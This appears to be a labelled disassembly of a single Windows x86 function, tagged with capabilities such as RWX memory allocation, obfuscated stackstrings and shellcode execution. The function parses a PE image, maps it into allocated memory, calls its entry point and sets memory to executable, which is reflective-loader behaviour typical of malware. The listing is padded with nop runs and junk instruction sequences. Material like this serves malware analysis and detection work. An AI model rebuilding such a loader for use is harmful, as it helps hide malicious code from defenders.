Function at 0x10001c40
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100054a0
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x10009008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x100074c4
lea eax, [ebp - 0x40]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x40], 0x30
call sub.VCRUNTIME140.dll__CxxThrowException
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.HeapAlloc
push str.kernel32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [ebp - 0x38], eax
nop
nop
nop
nop
nop
nop
nop
nop
push 0x10006354
push str.kernel32.dll
call edi
push eax
call esi
mov dword [ebp - 0x44], eax
inc eax
dec ebx
dec eax
inc ebx
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x50746547
push eax
push str.kernel32.dll
mov dword [ebp - 0x20], 0x65636f72
mov dword [ebp - 0x1c], 0x65487373
mov word [ebp - 0x18], 0x7061
mov byte [ebp - 0x16], 0
call edi
push eax
call esi
mov edi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x28]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x10001d1d
inc eax
dec ebx
dec eax
inc ebx
mov eax, 0x10001d75
ret
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [ebp - 0x3c], esi
cmp dword [esi], 0x4550
je 0x10001d33
mov eax, 0x10001d75
ret
inc eax
dec ebx
dec eax
inc ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
mov ecx, eax
mov dword [ebp - 0x34], ecx
test ecx, ecx
jne 0x10001d67
push 4
push 0x2000
push dword [esi + 0x50]
push eax
call ebx
mov ecx, eax
mov dword [ebp - 0x34], eax
inc eax
dec ebx
dec eax
inc ebx
test ecx, ecx
jne 0x10001d7c
mov eax, 0x10001d75
ret
nop
nop
nop
nop
push 0x14
push 0
call edi
push eax
call dword [ebp - 0x38]
mov ebx, dword [ebp - 0x34]
mov edi, eax
mov dword [ebp - 0x38], edi
mov dword [edi + 4], ebx
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
nop
nop
nop
nop
nop
nop
nop
push 4
push 0x1000
push dword [esi + 0x50]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
nop
nop
nop
nop
nop
push 4
push 0x1000
push dword [esi + 0x54]
push ebx
call dword [ebp - 0x44]
mov esi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebx + 0x3c]
add ecx, dword [eax + 0x54]
push ecx
push ebx
push esi
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [ebx + 0x3c]
add esp, 0xc
add edx, esi
mov dword [edi], edx
inc eax
dec ebx
dec eax
inc ebx
mov eax, dword [edi]
mov ebx, dword [ebp - 0x3c]
mov edx, ebx
mov esi, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x28]
push edi
mov dword [eax + 0x34], esi
call fcn.10001430
add esp, 4
nop
nop
nop
nop
nop
mov edx, esi
sub edx, dword [ebx + 0x34]
je 0x10001e32
mov ecx, edi
call fcn.10001840
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], 0
push eax
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x30], 0
mov ecx, edi
call fcn.10001950
add esp, 4
nop
nop
nop
nop
nop
nop
mov ecx, edi
call fcn.100016b0
nop
nop
nop
nop
nop
nop
mov eax, dword [edi]
cmp dword [eax + 0x28], 0
je 0x10001e8d
mov eax, dword [eax + 0x28]
add eax, esi
nop
nop
nop
push 0
push 1
push esi
call eax
inc eax
dec ebx
dec eax
inc ebx
mov dword [edi + 0x10], 1
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x10001ec8
cmp dword [ebp - 0x30], 0
je 0x10001ec8
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 0x28]
push ecx
push 0x40
push 8
push eax
mov dword [ebp - 0x28], 0
call esi
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov dword [ecx], eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
push 8
push dword [ebp - 0x2c]
call esi
mov eax, 0x10001ece
ret